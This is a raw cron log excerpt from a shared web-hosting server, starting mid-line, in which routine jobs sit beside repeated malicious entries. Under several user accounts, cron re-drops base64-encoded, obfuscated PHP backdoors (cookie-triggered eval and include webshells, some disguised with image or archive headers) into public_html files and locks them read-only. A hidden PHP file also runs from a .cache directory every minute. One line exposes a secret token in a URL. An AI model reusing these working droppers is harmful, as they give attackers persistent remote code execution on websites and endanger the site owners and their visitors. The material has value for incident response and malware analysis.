CdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:21:01 medusa CROND[19340]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 06:21:01 medusa CROND[19348]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 06:21:01 medusa CROND[19350]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 06:21:01 medusa CROND[19351]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 06:21:01 medusa CROND[19355]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:21:01 medusa CROND[19357]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:21:01 medusa CROND[19358]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:21:01 medusa CROND[19359]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 06:21:01 medusa CROND[19360]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 06:22:02 medusa CROND[24958]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 06:22:02 medusa CROND[24959]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 06:22:02 medusa CROND[24960]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 06:22:02 medusa CROND[24961]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 06:22:02 medusa CROND[24962]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:22:02 medusa CROND[24963]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 06:22:02 medusa CROND[24966]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 06:22:02 medusa CROND[24969]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 06:22:02 medusa CROND[24972]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:22:02 medusa CROND[24970]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 06:22:02 medusa CROND[24974]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 06:22:02 medusa CROND[24976]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 06:22:02 medusa CROND[24978]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:22:02 medusa CROND[24982]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:23:01 medusa CROND[29563]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 06:23:01 medusa CROND[29592]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 06:23:01 medusa CROND[29596]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 06:23:01 medusa CROND[29599]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:23:01 medusa CROND[29609]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:23:01 medusa CROND[29611]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 06:23:01 medusa CROND[29605]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 06:23:01 medusa CROND[29615]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
